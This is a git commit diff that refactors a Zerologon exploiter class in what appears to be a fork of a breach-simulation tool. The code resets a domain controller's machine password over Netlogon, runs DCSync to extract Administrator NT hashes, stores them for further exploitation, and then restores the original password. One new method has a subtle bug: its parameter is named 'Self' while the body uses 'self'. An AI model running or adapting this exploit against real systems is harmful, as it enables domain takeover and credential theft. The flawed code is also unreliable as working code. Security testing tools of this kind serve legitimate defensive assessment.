forked from p34709852/monkey
Restructure `_exploit_host()` and `restore_password()`
This commit is contained in:
parent
2bdcdcc18b
commit
2c2a9eaaae
|
@ -54,9 +54,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return
|
return
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
|
||||||
LOG.debug("Attempting exploit.")
|
LOG.debug("Attempting exploit.")
|
||||||
self._send_rpc_login_requests(rpc_con)
|
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
@ -78,8 +77,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return True
|
return True
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
def _send_rpc_login_requests(self, rpc_con) -> None:
|
def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]:
|
||||||
result_exploit_attempt = None
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
||||||
|
@ -100,7 +99,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.report_login_attempt(result=False, user=self.dc_name)
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
_exploited = False
|
_exploited = False
|
||||||
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
||||||
break
|
return _exploited
|
||||||
|
|
||||||
def attempt_exploit(self, rpc_con: object) -> object:
|
def attempt_exploit(self, rpc_con: object) -> object:
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
|
@ -124,46 +123,56 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def restore_password(self) -> Optional[bool]:
|
def restore_password(self) -> Optional[bool]:
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.debug("DCSync; getting admin password's hashes.")
|
|
||||||
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# DCSync to get Administrator password's hashes.
|
||||||
|
LOG.debug("DCSync; getting Administrator password's hashes.")
|
||||||
|
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
||||||
if not admin_pwd_hashes:
|
if not admin_pwd_hashes:
|
||||||
raise Exception("Couldn't extract admin password's hashes.")
|
raise Exception("Couldn't extract Administrator password's hashes.")
|
||||||
|
|
||||||
LOG.debug("Getting original DC password's nthash.")
|
# Use Administrator password's NT hash to get original DC password's hashes.
|
||||||
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
|
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's nthash.")
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Connect to the DC's Netlogon service.
|
||||||
|
try:
|
||||||
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Start restoration attempts.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
_restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
|
||||||
rpc_con = self.attempt_restoration(original_pwd_nthash)
|
if not _restored:
|
||||||
if rpc_con:
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
LOG.debug("DC machine account password should be restored to its original value.")
|
|
||||||
return True
|
|
||||||
|
|
||||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
return _restored
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self) -> str:
|
def get_admin_pwd_hashes(self) -> str:
|
||||||
options = OptionsForSecretsdump(
|
try:
|
||||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
options = OptionsForSecretsdump(
|
||||||
target_ip=self.dc_ip,
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
dc_ip=self.dc_ip
|
target_ip=self.dc_ip,
|
||||||
)
|
dc_ip=self.dc_ip
|
||||||
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
|
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
|
||||||
username=f"{self.dc_name}$",
|
username=f"{self.dc_name}$",
|
||||||
options=options)
|
options=options)
|
||||||
|
|
||||||
user = 'Administrator'
|
user = 'Administrator'
|
||||||
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
|
||||||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
|
||||||
|
|
||||||
def get_dumped_secrets(self,
|
def get_dumped_secrets(self,
|
||||||
remote_name: str = '',
|
remote_name: str = '',
|
||||||
|
@ -286,14 +295,24 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||||
|
|
||||||
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]:
|
||||||
# Connect to the DC's Netlogon service.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
try:
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
try:
|
||||||
except Exception as e:
|
result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
except nrpc.DCERPCSessionError as e:
|
||||||
return
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
# Otherwise, the attack is probably not working.
|
||||||
|
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
except BaseException as e:
|
||||||
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
if result_restoration_attempt:
|
||||||
|
LOG.debug("DC machine account password should be restored to its original value.")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
|
||||||
plaintext = b'\x00'*8
|
plaintext = b'\x00'*8
|
||||||
ciphertext = b'\x00'*8
|
ciphertext = b'\x00'*8
|
||||||
flags = 0x212fffff
|
flags = 0x212fffff
|
||||||
|
@ -303,46 +322,35 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.dc_name + '\x00', plaintext)
|
self.dc_name + '\x00', plaintext)
|
||||||
server_challenge = server_challenge_response['ServerChallenge']
|
server_challenge = server_challenge_response['ServerChallenge']
|
||||||
|
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
|
||||||
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
self.dc_name + '\x00', ciphertext, flags
|
||||||
|
)
|
||||||
|
|
||||||
|
assert server_auth['ErrorCode'] == 0
|
||||||
|
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||||
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||||
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
|
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NetrServerPasswordSetResponse)
|
||||||
self.dc_name + '\x00', ciphertext, flags
|
|
||||||
)
|
|
||||||
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
request = NetrServerPasswordSet()
|
||||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
request['PrimaryName'] = NULL
|
||||||
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||||
|
unhexlify(original_pwd_nthash), session_key)
|
||||||
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
||||||
try:
|
rpc_con.request(request)
|
||||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
|
||||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
|
|
||||||
nrpc.NetrServerPasswordSetResponse)
|
|
||||||
|
|
||||||
request = NetrServerPasswordSet()
|
except Exception as e:
|
||||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
|
||||||
request['PrimaryName'] = NULL
|
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
|
||||||
unhexlify(original_pwd_nthash), session_key)
|
|
||||||
request["UasNewPassword"] = pwd_data
|
|
||||||
|
|
||||||
rpc_con.request(request)
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
LOG.info(f"Unexpected error: {e}")
|
|
||||||
|
|
||||||
return rpc_con
|
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as e:
|
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
|
||||||
if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED:
|
|
||||||
return None
|
|
||||||
else:
|
|
||||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
|
||||||
|
|
||||||
except BaseException as e:
|
|
||||||
LOG.info(f"Unexpected error: {e}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
|
||||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
opnum = 6
|
opnum = 6
|
||||||
|
|
Loading…
Reference in New Issue